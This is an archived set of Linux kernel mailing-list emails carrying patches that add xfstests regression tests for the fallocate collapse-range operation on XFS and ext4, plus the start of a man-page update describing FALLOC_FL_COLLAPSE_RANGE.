(Postfix) with ESMTP id 25EFB8F804C for ; Sat, 1 Feb 2014 21:46:47 -0800 (PST) X-ASG-Debug-ID: 1391320005-04cbb00c2a8ef10001-NocioJ Received: from mail-pd0-f170.google.com (mail-pd0-f170.google.com [209.85.192.170]) by cuda.sgi.com with ESMTP id JlsTzeFWqlckQItz (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 01 Feb 2014 21:46:46 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.170 Received: by mail-pd0-f170.google.com with SMTP id p10so5750940pdj.15 for ; Sat, 01 Feb 2014 21:46:45 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=p6/QRFXxV1TGXUsc/JGu7uMwqO0buiW8zlRkKBwVMU4=; b=phnzuARND0F6XYwcNdaYWYXjHTCIVywGXNEhQyi5TYE2I6ZTQluSmV6D/0aotTBiDq KKkhIktkHQeUkNwO5Ggozjb+OziDv8SOl3JjZAfRZHTQKyw5CVVKNEzSIQIBqFFH8aW3 RVTpUY8G7zwkD/JwPUKcrdD47mnhOetvZEKHMQfter07e8DixG6TD99Dt22vSi925ZSz /3MpbbCUfy4VATv/SYih+rXezki38LEk/TYBY3i1VTkffBAlUtZW/2l/diO0UQ3qEDB2 zkymEGSWcB+yuzrWSBYJhkIelEiJZVjVAkkl57Nw8BLFYcgZl8SCJCQZTQDASqcaNMtV Bksw== X-Barracuda-BBL-IP: nil X-Received: by 10.66.27.13 with SMTP id p13mr29784644pag.76.1391320005629; Sat, 01 Feb 2014 21:46:45 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([211.105.79.118]) by mx.google.com with ESMTPSA id ac5sm13807245pbc.37.2014.02.01.21.46.42 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 01 Feb 2014 21:46:45 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 211.105.79.118 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH RESEND 7/10] xfstest: shared/003: Multi collapse range tests Date: Sun, 2 Feb 2014 14:46:36 +0900 X-ASG-Orig-Subj: [PATCH RESEND 7/10] xfstest: shared/003: Multi collapse range tests Message-Id: <1391319996-3345-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f170.google.com[209.85.192.170] X-Barracuda-Start-Time: 1391320006 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144739 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This testcase(003) tries to test various corner cases with pre-existing holes for fcollapse range functionality over different type of extents. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- tests/shared/003 | 65 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/shared/003.out | 53 ++++++++++++++++++++++++++++++++++++++++ tests/shared/group | 1 + 3 files changed, 119 insertions(+) create mode 100755 tests/shared/003 create mode 100644 tests/shared/003.out diff --git a/tests/shared/003 b/tests/shared/003 new file mode 100755 index 0000000..7b7f2df --- /dev/null +++ b/tests/shared/003 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. 3 +# +# Multi collapse range tests +# This testcase is one of the 4 testcases (shared 001 - 004) which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch -k falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/shared/003.out b/tests/shared/003.out new file mode 100644 index 0000000..545304e --- /dev/null +++ b/tests/shared/003.out @@ -0,0 +1,53 @@ +QA output created by 003 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f07217d5ac7ffa15dd8910c4aa912674 + 4. hole -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 5. hole -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 10. hole -> data -> hole +0: [0..31]: extent +1: [32..63]: hole +76cc863b386460b228a493933813a6a0 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +76cc863b386460b228a493933813a6a0 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ EOF +fallocate: Invalid argument +0: [0..159]: extent +7670f4830c6724a25e7c22d9eb9a6f4f + 15. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/group b/tests/shared/group index 7230b28..9226032 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -5,6 +5,7 @@ # 001 auto prealloc 002 auto prealloc +003 auto prealloc 032 mkfs auto quick 051 acl udf auto quick 218 auto fsr quick -- 1.7.9.5 From linkinjeon@gmail.com Sat Feb 1 23:47:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 01BED7FAB for ; Sat, 1 Feb 2014 23:47:11 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D8DE9304051 for ; Sat, 1 Feb 2014 21:47:10 -0800 (PST) X-ASG-Debug-ID: 1391320029-04cbb00c288ef10001-NocioJ Received: from mail-pb0-f44.google.com (mail-pb0-f44.google.com [209.85.160.44]) by cuda.sgi.com with ESMTP id 1Uk4KQGlP6BMsuYs (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 01 Feb 2014 21:47:10 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.44 Received: by mail-pb0-f44.google.com with SMTP id rq2so5905077pbb.17 for ; Sat, 01 Feb 2014 21:47:09 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=Mr/SaK5zfhyw2E7+2a1pGcf+aoJNXfR+gf8467NXW7s=; b=pTw3TwWKWtJMExxCTmETETuw54abpOaonhu6UochCbjenPSsY9OxSlY8Y04X44zliL MRB4eGwLzVhVcpzcm27jhxGCMqYlgdH5Hx7CvcghdtUZeiwU82GgO5z0Woqd74/lY020 nYFjk67o8wiknPZp9O6BLRTt0yJwjJVNzo3EiByVNPHB0eqTXM/wgUUzRHXF12aqTxju rwfFohoOmcFpk1wf5KbMVF+v1SsCN6JVgoYqObqGf4nxdRUjFiPlQD5hYvVQQ0Cm/0Dc +zVwm/Zv7TJyby5+WI9YqGr29lasVXoS5ozCr+h1FijAIOQRWj2ggx0c329SIJ7KVbFf SxJw== X-Barracuda-BBL-IP: nil X-Received: by 10.68.4.232 with SMTP id n8mr30274491pbn.114.1391320029400; Sat, 01 Feb 2014 21:47:09 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([211.105.79.118]) by mx.google.com with ESMTPSA id vn10sm43211650pbc.21.2014.02.01.21.47.06 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 01 Feb 2014 21:47:08 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 211.105.79.118 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH RESEND 8/10] xfstest: shared/004: Delayed allocation multi collapse Date: Sun, 2 Feb 2014 14:46:58 +0900 X-ASG-Orig-Subj: [PATCH RESEND 8/10] xfstest: shared/004: Delayed allocation multi collapse Message-Id: <1391320018-3379-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f44.google.com[209.85.160.44] X-Barracuda-Start-Time: 1391320029 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144739 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This testcase(004) tries to test various corner cases with delayed extents and pre-existing holes for fcollapse range functionality over different type of extents. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- tests/shared/004 | 65 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/shared/004.out | 53 ++++++++++++++++++++++++++++++++++++++++ tests/shared/group | 1 + 3 files changed, 119 insertions(+) create mode 100755 tests/shared/004 create mode 100644 tests/shared/004.out diff --git a/tests/shared/004 b/tests/shared/004 new file mode 100755 index 0000000..5902b9f --- /dev/null +++ b/tests/shared/004 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. 4 +# +# Delayed allocation multi collapse range tests +# This testcase is one of the 4 testcases (shared 001 - 004) which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch -d -k falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/shared/004.out b/tests/shared/004.out new file mode 100644 index 0000000..a7d0f52 --- /dev/null +++ b/tests/shared/004.out @@ -0,0 +1,53 @@ +QA output created by 004 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f07217d5ac7ffa15dd8910c4aa912674 + 4. hole -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 5. hole -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 10. hole -> data -> hole +0: [0..31]: extent +1: [32..63]: hole +76cc863b386460b228a493933813a6a0 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +76cc863b386460b228a493933813a6a0 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ EOF +fallocate: Invalid argument +0: [0..159]: extent +7670f4830c6724a25e7c22d9eb9a6f4f + 15. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/group b/tests/shared/group index 9226032..fb1d6d0 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -6,6 +6,7 @@ 001 auto prealloc 002 auto prealloc 003 auto prealloc +004 auto prealloc 032 mkfs auto quick 051 acl udf auto quick 218 auto fsr quick -- 1.7.9.5 From linkinjeon@gmail.com Sat Feb 1 23:47:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A26CA7FC5 for ; Sat, 1 Feb 2014 23:47:30 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 68631304075 for ; Sat, 1 Feb 2014 21:47:30 -0800 (PST) X-ASG-Debug-ID: 1391320048-04bdf0121e9f9b0001-NocioJ Received: from mail-pa0-f50.google.com (mail-pa0-f50.google.com [209.85.220.50]) by cuda.sgi.com with ESMTP id 2Zqpo3bnLUet3TPO (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 01 Feb 2014 21:47:29 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.220.50 X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.50] Received: by mail-pa0-f50.google.com with SMTP id kp14so5901416pab.23 for ; Sat, 01 Feb 2014 21:47:28 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.50] X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.50] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=VD4UBB+s3bw+JsB456jsdCH7ASBZkia5f5XtmFcCMfY=; b=IxB2lvL8TsGRiNa4WH+C3I0gr5bdwGA5OEAzpBv9nlers3B/tmZQwXAFHqVzWSimG6 hlwg004HodpJBjfIRJQNKRZifiLVk15k5SN9E5U25gBo+W+EinlCG4Rd/waAak2Ki0GQ P/zYakbzSsmQQM6ogUaB0Rc1bIipKNBkDQIJ4JXJnLGjv//AFC7etKdGcaPFW9c0mxkO 2QpmZo6eS5Ln4l5HQehoW/xWv+roLiSsnbDh1RhOpjoX5JNBu02mAhy14pUgi08y2Ojs rAwjnk6ya5AH9ws6fesuR5OZ4poHkAGZXikTPTfvnV9b69tla/NPIEvgMsQ+KENMXsI2 8K/w== X-Received: by 10.66.197.135 with SMTP id iu7mr123426pac.149.1391320048769; Sat, 01 Feb 2014 21:47:28 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([211.105.79.118]) by mx.google.com with ESMTPSA id id1sm43215613pbc.11.2014.02.01.21.47.25 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 01 Feb 2014 21:47:28 -0800 (PST) From: Namjae Jeon To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH RESEND 9/10] xfstest: shared/005: Test multiple fallocate collapse Date: Sun, 2 Feb 2014 14:47:20 +0900 X-ASG-Orig-Subj: [PATCH RESEND 9/10] xfstest: shared/005: Test multiple fallocate collapse Message-Id: <1391320040-3414-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pa0-f50.google.com[209.85.220.50] X-Barracuda-Start-Time: 1391320049 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144739 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon We execute collapse range multiple times on same file. Each collapse range call collapses a single alternate block. After the test execution, file will be left with 80 blocks and as much number of extents. We also check for file system consistency after the completion. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- tests/shared/005 | 90 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/shared/005.out | 4 +++ tests/shared/group | 1 + 3 files changed, 95 insertions(+) create mode 100644 tests/shared/005 create mode 100644 tests/shared/005.out diff --git a/tests/shared/005 b/tests/shared/005 new file mode 100644 index 0000000..1347e7f --- /dev/null +++ b/tests/shared/005 @@ -0,0 +1,90 @@ +#! /bin/bash +# FS QA Test No. 5 +# +# Test multiple fallocate collapse range calls on same file. +# For different blocksizes, collapse a single alternate block multiple times +# until the file is left with 80 blocks and as much number of extents. +# Also check for file system consistency after completing this operation +# for each blocksize. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "rm -f $tmp.*; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_scratch +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse +_do_die_on_error=y +testfile=$SCRATCH_MNT/$seq.$$ +BLOCKS=10240 + +for (( BSIZE = 1024; BSIZE <= 4096; BSIZE *= 2 )); do + + length=$(($BLOCKS * $BSIZE)) + case $FSTYP in + xfs) + _scratch_mkfs -b size=$BSIZE >> $seqres.full 2>&1 + ;; + ext4) + _scratch_mkfs -b $BSIZE >> $seqres.full 2>&1 + ;; + esac + _scratch_mount >> $seqres.full 2>&1 + + # Write file + $XFS_IO_PROG -f -c "pwrite 0 $length" -c fsync $testfile > /dev/null + + # Collapse alternate blocks + for (( i = 1; i <= 7; i++ )); do + for (( j=0; j < $(($BLOCKS/(2**$i))); j++ )); do + offset=$(($j*$BSIZE)) + $XFS_IO_PROG -c "fcollapse $offset $BSIZE" $testfile > /dev/null + done + done + + # Check if 80 extents are present + $XFS_IO_PROG -c "fiemap -v" $testfile | grep "^ *[0-9]*:" |wc -l + + _check_scratch_fs + if [ $? -ne 0 ]; then + status=1 + exit + fi + + umount $SCRATCH_MNT +done + +# success, all done +status=0 +exit diff --git a/tests/shared/005.out b/tests/shared/005.out new file mode 100644 index 0000000..8d30b9d --- /dev/null +++ b/tests/shared/005.out @@ -0,0 +1,4 @@ +QA output created by 005 +80 +80 +80 diff --git a/tests/shared/group b/tests/shared/group index fb1d6d0..22f1d3a 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -7,6 +7,7 @@ 002 auto prealloc 003 auto prealloc 004 auto prealloc +005 auto prealloc 032 mkfs auto quick 051 acl udf auto quick 218 auto fsr quick -- 1.7.9.5 From linkinjeon@gmail.com Sat Feb 1 23:47:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E1B927FB0 for ; Sat, 1 Feb 2014 23:47:48 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8FF858F804C for ; Sat, 1 Feb 2014 21:47:48 -0800 (PST) X-ASG-Debug-ID: 1391320067-04bdf0121f9f9d0001-NocioJ Received: from mail-pd0-f174.google.com (mail-pd0-f174.google.com [209.85.192.174]) by cuda.sgi.com with ESMTP id XuXdDPiX07iU2Czb (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 01 Feb 2014 21:47:47 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.174 Received: by mail-pd0-f174.google.com with SMTP id z10so5721469pdj.19 for ; Sat, 01 Feb 2014 21:47:47 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=AyfEVRbHFhrND/oRpm7NTn3/5chkaA+3C3Go8Rch0tM=; b=00C0az/enxbM8SGsmtrp4eLWmDaWazlOyOCVrk68SgEDXll2LAE0dSsvbjk7gJSTK+ 7DAGItkTfbvT2gSqwz+OaExfjVfx+5uBQhy3mCaOro+N7Lb62HQ77Bozgtrwb6r0r4NM f9Yo+ZPDmmeHhZgNBwsbqIX7VjIpdmJziMhr5pc0w+kUt1h0TqVJmeOk56/H/zxZGC8Z zmDDWtZ5dpj196L/QYV4CWIts6hEBMu+qBlR5jZtGzY8h2BllJ7brMeN+ViJ89HWftv6 XsLoVjLkyu/xLJOjRLC7BYszHHT1VPuDxUPAPVpovHemBf5yhG9/aZIZHfqICxSQEzxG EnCw== X-Barracuda-BBL-IP: nil X-Received: by 10.66.129.169 with SMTP id nx9mr29832443pab.130.1391320067405; Sat, 01 Feb 2014 21:47:47 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([211.105.79.118]) by mx.google.com with ESMTPSA id tu3sm43218113pbc.40.2014.02.01.21.47.44 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 01 Feb 2014 21:47:46 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 211.105.79.118 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH RESEND 10/10] manpage: update FALLOC_FL_COLLAPSE_RANGE flag in fallocate Date: Sun, 2 Feb 2014 14:47:38 +0900 X-ASG-Orig-Subj: [PATCH RESEND 10/10] manpage: update FALLOC_FL_COLLAPSE_RANGE flag in fallocate Message-Id: <1391320058-3448-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f174.google.com[209.85.192.174] X-Barracuda-Start-Time: 1391320067 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144739 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Update FALLOC_FL_COLLAPSE_RANGE flag in fallocate. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- man2/fallocate.2 | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/man2/fallocate.2 b/man2/fallocate.2 index ec9011c..69a4dbd 100644 --- a/man2/fallocate.2 +++ b/man2/fallocate.2 @@ -1,5 +1,6 @@ .\" Copyright (c) 2007 Silicon Graphics, Inc. All Rights Reserved .\" Written by Dave Chinner +.\" Updated by Namjae Jeon .\" .\" %%%LICENSE_START(GPLv2_ONELINE) .\" May be distributed as per GNU General Public License version 2. @@ -7,6 +8,7 @@ .\" .\" 2011-09-19: Added FALLOC_FL_PUNCH_HOLE .\" 2011-09-19: Substantial restructuring of the page +.\" 2013-11-10: Added FALLOC_FL_COLLAPSE_RANGE .\" .TH FALLOCATE 2 2013-11-08 "Linux" "Linux Programmer's Manual" .SH NAME @@ -113,6 +115,25 @@ does not change. Not all filesystems support .BR FALLOC_FL_PUNCH_HOLE ; if a filesystem doesn't support the operation, an error is returned. +.SS Collapsing file space +Specifiying the +.BR FALLOC_FL_COLLAPSE_RANGE +flag in +.I mode +collpse space in the byte range starting at +.I offset +and continuing for +.I len +bytes. Within the specified range, it first de-allocates blocks and eliminates +the hole created in this process by shifting data blocks into the hole. + 